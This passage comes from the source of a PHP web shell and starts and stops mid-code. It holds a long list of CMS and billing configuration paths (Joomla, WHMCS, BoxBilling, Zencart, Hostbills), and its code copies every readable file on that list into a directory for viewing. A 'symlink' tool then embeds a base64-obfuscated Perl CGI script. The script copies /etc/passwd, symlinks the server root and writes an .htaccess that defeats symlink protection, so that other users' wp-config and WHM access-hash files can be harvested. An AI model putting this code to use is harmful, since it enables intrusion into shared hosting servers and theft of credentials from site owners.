"$user_docroot/demo/configuration.php" => "Joomla", 783 "$user_docroot/test/configuration.php" => "Joomla", 784 "$user_docroot/v1/configuration.php" => "Joomla", 785 "$user_docroot/v2/configuration.php" => "Joomla", 786 "$user_docroot/joomla/configuration.php" => "Joomla", 787 "$user_docroot/new/configuration.php" => "Joomla", 788 "$user_docroot/WHMCS/submitticket.php" => "WHMCS", 789 "$user_docroot/whmcs1/submitticket.php" => "WHMCS", 790 "$user_docroot/Whmcs/submitticket.php" => "WHMCS", 791 "$user_docroot/whmcs/submitticket.php" => "WHMCS", 792 "$user_docroot/whmcs/submitticket.php" => "WHMCS", 793 "$user_docroot/WHMC/submitticket.php" => "WHMCS", 794 "$user_docroot/Whmc/submitticket.php" => "WHMCS", 795 "$user_docroot/whmc/submitticket.php" => "WHMCS", 796 "$user_docroot/WHM/submitticket.php" => "WHMCS", 797 "$user_docroot/Whm/submitticket.php" => "WHMCS", 798 "$user_docroot/whm/submitticket.php" => "WHMCS", 799 "$user_docroot/HOST/submitticket.php" => "WHMCS", 800 "$user_docroot/Host/submitticket.php" => "WHMCS", 801 "$user_docroot/host/submitticket.php" => "WHMCS", 802 "$user_docroot/SUPPORTES/submitticket.php" => "WHMCS", 803 "$user_docroot/Supportes/submitticket.php" => "WHMCS", 804 "$user_docroot/supportes/submitticket.php" => "WHMCS", 805 "$user_docroot/domains/submitticket.php" => "WHMCS", 806 "$user_docroot/domain/submitticket.php" => "WHMCS", 807 "$user_docroot/Hosting/submitticket.php" => "WHMCS", 808 "$user_docroot/HOSTING/submitticket.php" => "WHMCS", 809 "$user_docroot/hosting/submitticket.php" => "WHMCS", 810 "$user_docroot/CART/submitticket.php" => "WHMCS", 811 "$user_docroot/Cart/submitticket.php" => "WHMCS", 812 "$user_docroot/cart/submitticket.php" => "WHMCS", 813 "$user_docroot/ORDER/submitticket.php" => "WHMCS", 814 "$user_docroot/Order/submitticket.php" => "WHMCS", 815 "$user_docroot/order/submitticket.php" => "WHMCS", 816 "$user_docroot/CLIENT/submitticket.php" => "WHMCS", 817 "$user_docroot/Client/submitticket.php" => "WHMCS", 818 "$user_docroot/client/submitticket.php" => "WHMCS", 819 "$user_docroot/CLIENTAREA/submitticket.php" => "WHMCS", 820 "$user_docroot/Clientarea/submitticket.php" => "WHMCS", 821 "$user_docroot/clientarea/submitticket.php" => "WHMCS", 822 "$user_docroot/SUPPORT/submitticket.php" => "WHMCS", 823 "$user_docroot/Support/submitticket.php" => "WHMCS", 824 "$user_docroot/support/submitticket.php" => "WHMCS", 825 "$user_docroot/BILLING/submitticket.php" => "WHMCS", 826 "$user_docroot/Billing/submitticket.php" => "WHMCS", 827 "$user_docroot/billing/submitticket.php" => "WHMCS", 828 "$user_docroot/BUY/submitticket.php" => "WHMCS", 829 "$user_docroot/Buy/submitticket.php" => "WHMCS", 830 "$user_docroot/buy/submitticket.php" => "WHMCS", 831 "$user_docroot/MANAGE/submitticket.php" => "WHMCS", 832 "$user_docroot/Manage/submitticket.php" => "WHMCS", 833 "$user_docroot/manage/submitticket.php" => "WHMCS", 834 "$user_docroot/CLIENTSUPPORT/submitticket.php" => "WHMCS", 835 "$user_docroot/ClientSupport/submitticket.php" => "WHMCS", 836 "$user_docroot/Clientsupport/submitticket.php" => "WHMCS", 837 "$user_docroot/clientsupport/submitticket.php" => "WHMCS", 838 "$user_docroot/CHECKOUT/submitticket.php" => "WHMCS", 839 "$user_docroot/Checkout/submitticket.php" => "WHMCS", 840 "$user_docroot/checkout/submitticket.php" => "WHMCS", 841 "$user_docroot/BILLINGS/submitticket.php" => "WHMCS", 842 "$user_docroot/Billings/submitticket.php" => "WHMCS", 843 "$user_docroot/billings/submitticket.php" => "WHMCS", 844 "$user_docroot/BASKET/submitticket.php" => "WHMCS", 845 "$user_docroot/Basket/submitticket.php" => "WHMCS", 846 "$user_docroot/basket/submitticket.php" => "WHMCS", 847 "$user_docroot/SECURE/submitticket.php" => "WHMCS", 848 "$user_docroot/Secure/submitticket.php" => "WHMCS", 849 "$user_docroot/secure/submitticket.php" => "WHMCS", 850 "$user_docroot/SALES/submitticket.php" => "WHMCS", 851 "$user_docroot/Sales/submitticket.php" => "WHMCS", 852 "$user_docroot/sales/submitticket.php" => "WHMCS", 853 "$user_docroot/BILL/submitticket.php" => "WHMCS", 854 "$user_docroot/Bill/submitticket.php" => "WHMCS", 855 "$user_docroot/bill/submitticket.php" => "WHMCS", 856 "$user_docroot/PURCHASE/submitticket.php" => "WHMCS", 857 "$user_docroot/Purchase/submitticket.php" => "WHMCS", 858 "$user_docroot/purchase/submitticket.php" => "WHMCS", 859 "$user_docroot/ACCOUNT/submitticket.php" => "WHMCS", 860 "$user_docroot/Account/submitticket.php" => "WHMCS", 861 "$user_docroot/account/submitticket.php" => "WHMCS", 862 "$user_docroot/USER/submitticket.php" => "WHMCS", 863 "$user_docroot/User/submitticket.php" => "WHMCS", 864 "$user_docroot/user/submitticket.php" => "WHMCS", 865 "$user_docroot/CLIENTS/submitticket.php" => "WHMCS", 866 "$user_docroot/Clients/submitticket.php" => "WHMCS", 867 "$user_docroot/clients/submitticket.php" => "WHMCS", 868 "$user_docroot/BILLINGS/submitticket.php" => "WHMCS", 869 "$user_docroot/Billings/submitticket.php" => "WHMCS", 870 "$user_docroot/billings/submitticket.php" => "WHMCS", 871 "$user_docroot/MY/submitticket.php" => "WHMCS", 872 "$user_docroot/My/submitticket.php" => "WHMCS", 873 "$user_docroot/my/submitticket.php" => "WHMCS", 874 "$user_docroot/secure/whm/submitticket.php" => "WHMCS", 875 "$user_docroot/secure/whmcs/submitticket.php" => "WHMCS", 876 "$user_docroot/panel/submitticket.php" => "WHMCS", 877 "$user_docroot/clientes/submitticket.php" => "WHMCS", 878 "$user_docroot/cliente/submitticket.php" => "WHMCS", 879 "$user_docroot/support/order/submitticket.php" => "WHMCS", 880 "$user_docroot/bb-config.php" => "BoxBilling", 881 "$user_docroot/boxbilling/bb-config.php" => "BoxBilling", 882 "$user_docroot/box/bb-config.php" => "BoxBilling", 883 "$user_docroot/host/bb-config.php" => "BoxBilling", 884 "$user_docroot/Host/bb-config.php" => "BoxBilling", 885 "$user_docroot/supportes/bb-config.php" => "BoxBilling", 886 "$user_docroot/support/bb-config.php" => "BoxBilling", 887 "$user_docroot/hosting/bb-config.php" => "BoxBilling", 888 "$user_docroot/cart/bb-config.php" => "BoxBilling", 889 "$user_docroot/order/bb-config.php" => "BoxBilling", 890 "$user_docroot/client/bb-config.php" => "BoxBilling", 891 "$user_docroot/clients/bb-config.php" => "BoxBilling", 892 "$user_docroot/cliente/bb-config.php" => "BoxBilling", 893 "$user_docroot/clientes/bb-config.php" => "BoxBilling", 894 "$user_docroot/billing/bb-config.php" => "BoxBilling", 895 "$user_docroot/billings/bb-config.php" => "BoxBilling", 896 "$user_docroot/my/bb-config.php" => "BoxBilling", 897 "$user_docroot/secure/bb-config.php" => "BoxBilling", 898 "$user_docroot/support/order/bb-config.php" => "BoxBilling", 899 "$user_docroot/includes/dist-configure.php" => "Zencart", 900 "$user_docroot/zencart/includes/dist-configure.php" => "Zencart", 901 "$user_docroot/products/includes/dist-configure.php" => "Zencart", 902 "$user_docroot/cart/includes/dist-configure.php" => "Zencart", 903 "$user_docroot/shop/includes/dist-configure.php" => "Zencart", 904 "$user_docroot/includes/iso4217.php" => "Hostbills", 905 "$user_docroot/hostbills/includes/iso4217.php" => "Hostbills", 906 "$user_docroot/host/includes/iso4217.php" => "Hostbills", 907 "$user_docroot/Host/includes/iso4217.php" => "Hostbills", 908 "$user_docroot/supportes/includes/iso4217.php" => "Hostbills", 909 "$user_docroot/support/includes/iso4217.php" => "Hostbills", 910 "$user_docroot/hosting/includes/iso4217.php" => "Hostbills", 911 "$user_docroot/cart/includes/iso4217.php" => "Hostbills", 912 "$user_docroot/order/includes/iso4217.php" => "Hostbills", 913 "$user_docroot/client/includes/iso4217.php" => "Hostbills", 914 "$user_docroot/clients/includes/iso4217.php" => "Hostbills", 915 "$user_docroot/cliente/includes/iso4217.php" => "Hostbills", 916 "$user_docroot/clientes/includes/iso4217.php" => "Hostbills", 917 "$user_docroot/billing/includes/iso4217.php" => "Hostbills", 918 "$user_docroot/billings/includes/iso4217.php" => "Hostbills", 919 "$user_docroot/my/includes/iso4217.php" => "Hostbills", 920 "$user_docroot/secure/includes/iso4217.php" => "Hostbills", 921 "$user_docroot/support/order/includes/iso4217.php" => "Hostbills" 922 ); 923 foreach($getconfig as $config => $userconfig) { 924 $get = file_get_contents($config); 925 if($get == '') { 926 } 927 else { 928 $fopen = fopen("idx_config/$user-$userconfig.txt", "w"); 929 fputs($fopen, $get); 930 } 931 } 932 } 933 } 934 } 935 print "<div style='background: #ffffff; width: 100%; height: 100%'>"; 936 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_config/' frameborder='0' scrolling='yes'><iframe>"; 937 print "</div>"; 938 } 939 elseif($toolsname === "symlink") { 940 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_sym'.")); 941 if(!is_dir(path()."/idx_sym/")) { 942 $sym['code'] = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjIA0KIw0KIwkJTmFtZSA6IFBlcmwvQ0dJIENvbmZpZyBTeW1saW5rZXIgKFdpdGggQXV0byBCeXBhc3MgU3ltbGluayA0MDQpDQojCQlWZXJzaW9uIDogMS4yDQojCQlDcmVhdGVkIDogOSBNZWkgMjAxNw0KIwkJQXV0aG9yIDogMHgxOTk5DQojCQlUaGFua3MgVG8gOiAweElEaW90ICwgSW5kb25lc2lhbiBDb2RlIFBhcnR5ICwgSmF0aW00dQ0KIwkJTW9yZSBJbmZvIDogaHR0cDovLzB4RGFyay5ibG9nc3BvdC5jb20NCiMJCVdhbnQgdG8gcmVjb2RlID8gRG9uJ3QgZm9yZ2V0IG15IG5pY2sgbmFtZSAgOikNCiMJCWh0dHA6Ly9mYWNlYm9vay5jb20vbWVsZXguMWQNCiMJCQ0KIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyANCg0KdXNlIEZpbGU6OkNvcHk7DQp1c2Ugc3RyaWN0Ow0KdXNlIHdhcm5pbmdzOw0KdXNlIE1JTUU6OkJhc2U2NDsNCmNvcHkoIi9ldGMvcGFzc3dkIiwicGFzc3dkLnR4dCIpIDsNCm1rZGlyICJpZHhfc3ltIjsNCnN5bWxpbmsoIi8iLCJpZHhfc3ltL3Jvb3QiKTsNCm15ICRmaWxlbmFtZSA9ICdwYXNzd2QudHh0JzsNCm15ICRodGFjY2VzcyA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQnBibVJ2ZUhCc2IybDBMbWgwYlEwS1FXUmtWSGx3WlNCMFpYaDBMM0JzWVdsdUlDNXdhSEFnRFFwQlpHUklZVzVrYkdWeUlIUmxlSFF2Y0d4aGFXNGdMbkJvY0EwS1UyRjBhWE5tZVNCQmJua05Da2x1WkdWNFQzQjBhVzl1Y3lBclEyaGhjbk5sZEQxVlZFWXRPQ0FyUm1GdVkzbEpibVJsZUdsdVp5QXJTV2R1YjNKbFEyRnpaU0FyUm05c1pHVnljMFpwY25OMElDdFlTRlJOVENBclNGUk5URlJoWW14bElDdFRkWEJ3Y21WemMxSjFiR1Z6SUN0VGRYQndjbVZ6YzBSbGMyTnlhWEIwYVc5dUlDdE9ZVzFsVjJsa2RHZzlLaUFOQ2tGa1pFbGpiMjRnSjJSaGRHRTZhVzFoWjJVdmNHNW5PMkpoYzJVMk5DeHBWa0pQVW5jd1MwZG5iMEZCUVVGT1UxVm9SVlZuUVVGQlFrRkJRVUZCVVVOQldVRkJRVUZtT0M4NWFFRkJRVUZDU0U1RFUxWlJTVU5CWjBsbVFXaHJhVUZCUVVGQmJIZFRSbXg2UVVGQlRqRjNRVUZFWkdOQ1VXbHBZbVZCUVVGQlFtd3dVbFpvTUZVeU9XMWtTR1JvWTIxVlFXUXpaRE5NYld4MVlUTk9hbGxZUW14TWJUbDVXalYyZFZCQ2IwRkJRVVpWVTFWU1FsWkVhVTV3V2tzNVUyZE9Ra1pKV0ZCMldFNXVaR3BqVW05d1dEUlZOR3RYVm5JMVFVTm9WVGRJT0VKVFprbDBRVWhyUWpsRFdITnlWekJIZDBWUmRGSjNWa3ROVW5SQlZUaGFZMWxYWVU1dFRUSlBlSEY1ZVdsWldtUmpSMGxoV2pSYU56ZE5aV1ZSWTNjMlJFWkJMMVZFVlVGQldVaElhamhvVDBGVWFqbHZVbE5sTWxveFpqSkxhbEF4Wm1kTWEyNU5VRk0xYkZjd1ZtazBjRnB2Y0haSVdFUlhLMGxvVDNJNU9XZFlWSHByY2pseGRsUkNUWFJ5VG1RNFFYTk1WbU52YlZwTFJGQTJNV3RGVEdsb1IwbEtPVkZDWjA4eWFtUnpTVVV2U21JMVQyRmpSMFpCZDBSUlJXVk5SVTlhYm1neFJYRk5RMmgwVTBJNFlUWTBRbGN5VFU1b04xRldhV2hEUjB0alRraHpkMjFhTUd4QmExbEllRVkwVVdoQ1VFTkxTVmxTVlRsc05qQTFTMjFIUTBWSlZWbDZkRU5aVFVKbWEwVnFSMW8wVDJsSWQxSlJSaXQyYTFGSEszQjBRVU5KUmxKRlNsWlFVVUYyUm1ZclFuSnFiM2xSSzBOYVpuRnhNVEU0UkZKR1JXaHFaV0ppWW1Wc05tUkhhWGxVY1dZcmRsTnlhMkZTVVM4d2RYUk1OMjFJV0d3NWRuRXJaVkF6Vlc1aWFDOUlOV2RFUzJsUFJqWTNXV1ZpV1RCa1UwcGpVa0p0TUhveWNrWnNNbmxYY0RoQlZrUkpWek15WkdFM2NFeEJRVUZCUVVWc1JsUnJVM1ZSYlVOREp5QmVYa1JKVWtWRFZFOVNXVjVlRFFwRVpXWmhkV3gwU1dOdmJpQW5aR0YwWVRwcGJXRm5aUzl3Ym1jN1ltRnpaVFkwTEdsV1FrOVNkekJMUjJkdlFVRkJRVTVUVldoRlZXZEJRVUZDUVVGQlFVRlJRMEZaUVVGQlFXWTRMemxvUVVGQlFVRllUbE5TTUVsQmNuTTBZelpSUVVGQlFWcHBVekJrUlVGUU9FRXZkMFF2YjB3eWJtdDNRVUZCUVd4M1UwWnNla0ZCUVV4RmQwRkJRM2hOUWtGS2NXTkhRVUZCUVVGa01GTlZNVVpDT1c5S1FtaGpWRXAyTWtJeVpEUkJRVUZLVFZOVlVrSldSR3BNWWxwUE9WUm9lRnBGU1ZjdmNXeDJaSFJOTXpoQ1RtZEtVVzFSWjBwSFpDdEJMMDFSUWt4M1IycHBkMGd6Ym5ka2ExTk1kRTh5ZUVWU1J6Vk1jWGhZVWxOSlVqSlpSR1pFTkVkclIwMHdVRE55WWpSaU9WQkJlakJzTjNCVGJGZHNWekJtYm01TWIyeEJTVkJDTkZCWWFEUmxSblZ1ZFdOQlNVbE1kMlJGVTJWYWVVRnBabTV3Tml0MU9XOU9URzh6WjAwelRucFVaRWhTS3k4dmVuWktUWHBUZVVwTFMyOWthVWxuT0VGWVlYaGxTWG94WWtSYU4wMTRjVTVtZEdkVFZWSkVWM2szVEZWdVdqQmtXVzE0UVVaQlZrVnNTVFpCUlVONVowbHpVVkZ6YVhwTVFrOUJRa0ZFVDJwTFFYQnhhRGQxTjBkdlExVlhhWGRaWW1WMGIxVkljbkpRWTNkRGNXOUdNa3RWWlZoTWVrVjZRbll3SzNWUmJWTklUVVZhT1VZMlUxcGpjalpwTkVselFrOWhMMkkzU0ZGTllVaDBTVUYzWjB4a1NHRnNSRUV4WlhZd1pWRmlVMnB5UlhKUmQwcHdjVVkwWlVGNEwyaHZjVVF4TXpKdFRXdEtjbWsxZFZOUGJFWm9SV2h3VlZGSmFXOXFkMkZ0VDBST2MyeHFabFZYUTNGd1RHNVBZV0ZEVTB0S2RHNWhRa056V2xscVFXeHNiVmhKTkhaaFpXOWhWbGd3WTJKVFpHaHRWVkl6ZWtGTGRrNXFXVFpXYVc5dk1IUlhlbWRGYjI1TFlsY3JTMnRIVjNRelZXNTBNRU5sUjJaS2N6bG5LMVZWTUhKRlIwaElMMGgzTDAxcVNEWXZWQ3RRVDJSR2IxSk9TME5vVFRJeWVHMVBVR1Z6Y0dwUVIxRTJTSEJPVVRJM2REWnpRVU5FVTA1aGJubHZiR3BFVEVWa1ZtRkdUMHhsT0ZwclZXcExOWFZyY1ROME56bHNVRU0zTDA5RWF6VkhZU3RaTms4MVRYRjViVTUzTTFZeGVUTm9lWHBtV0RCb2NYWktUSGxpV0Vaa0t5dG1NbVF6WkRCa2JYTXJjWFpuTkU5RWVqaG1TSGd3TDB4elltVXpPVFkwYzFNM0t6UjFSV3AxYm5CeGJWTmxObVV6UkROT05TOU9NRmRhWW5Sc2VUbG1NRGx1V2pKYUwySXlPWFl5Wmt4RlpYWjJTemx4ZGpkak1uUnZTMms0VldscFVXbHhTR0p0Tm5KcFZ6WmhNVE5tYml0NmRqY3pLMjl4YjNKb1kweG5TMVZHV0ZaUUsyWnVOVElyVEc5dWFqaEpURW93VURoYVNVTkRSamt2VUZSd1EyeG9jRUoyWjFCbGJHOU1PVlUxTlU1SlFVRkJRVUZCVTFWV1QxSkxOVU5aU1VrOUp3MEtTVzVrWlhoSloyNXZjbVVnS2k1MGVIUTBNRFFOQ2tsdVpHVjRVM1I1YkdWVGFHVmxkQ0FuYUhSMGNEb3ZMMlYyWlc1MExtbHVaRzk0Y0d4dmFYUXViM0l1YVdRdmMzbHRiR2x1YXk1amMzTW5EUXBTWlhkeWFYUmxSVzVuYVc1bElFOXVEUXBTWlhkeWFYUmxRMjl1WkNBbGUxSkZVVlZGVTFSZlJrbE1SVTVCVFVWOUlGNHVLakI0YzNsdE5EQTBJRnRPUTEwTkNsSmxkM0pwZEdWU2RXeGxJRnd1ZEhoMEpDQWxlMUpGVVZWRlUxUmZWVkpKZlRRd05DQmJUQ3hTUFRNd01pNU9RMTA9Iik7DQpteSAkc3ltID0gZGVjb2RlX2Jhc2U2NCgiVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCcGJtUnZlSEJzYjJsMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNBd2VERTVPVGt1ZEhoMERRcFRZWFJwYzJaNUlFRnVlUTBLU1c1a1pYaFBjSFJwYjI1eklFbG5ibTl5WlVOaGMyVWdSbUZ1WTNsSmJtUmxlR2x1WnlCR2IyeGtaWEp6Um1seWMzUWdUbUZ0WlZkcFpIUm9QU29nUkdWelkzSnBjSFJwYjI1WGFXUjBhRDBxSUZOMWNIQnlaWE56U0ZSTlRGQnlaV0Z0WW14bERRcEpibVJsZUVsbmJtOXlaU0FxRFFwSmJtUmxlRk4wZVd4bFUyaGxaWFFnSjJoMGRIQTZMeTlsZG1WdWRDNXBibVJ2ZUhCc2IybDBMbTl5TG1sa0wzTjViV3hwYm1zdVkzTnpKdz09Iik7DQpvcGVuKG15ICRmaDEsICc+JywgJ2lkeF9zeW0vLmh0YWNjZXNzJyk7DQpwcmludCAkZmgxICIkaHRhY2Nlc3MiOw0KY2xvc2UgJGZoMTsNCm9wZW4obXkgJHh4LCAnPicsICdpZHhfc3ltL25lbXUudHh0Jyk7DQpwcmludCAkeHggIiRzeW0iOw0KY2xvc2UgJHh4Ow0Kb3BlbihteSAkZmgsICc8OmVuY29kaW5nKFVURi04KScsICRmaWxlbmFtZSk7DQp3aGlsZSAobXkgJHJvdyA9IDwkZmg+KSB7DQpteSBAbWF0Y2hlcyA9ICRyb3cgPX4gLyguKj8pOng6L2c7DQpteSAkdXNlcm55YSA9ICQxOw0KbXkgQGFycmF5ID0gKA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy8uYWNjZXNzaGFzaCcsIHR5cGUgPT4gJ1dITS1hY2Nlc3NoYXNoJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCB0eXBlID0+ICdMb2tvbWVkaWEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwJywgdHlwZSA9PiAnUHJlc3RhU2hvcCcgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCB0eXBlID0+ICdNYWdlbnRvJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgdHlwZSA9PiAnT3BlbkNhcnQnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCB0eXBlID0+ICdFbGxpc2xhYicgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcG9ydGFsL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kZW1vL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjIvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnXldITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZGVtby9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3YyL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV0hNQ1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jczEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdW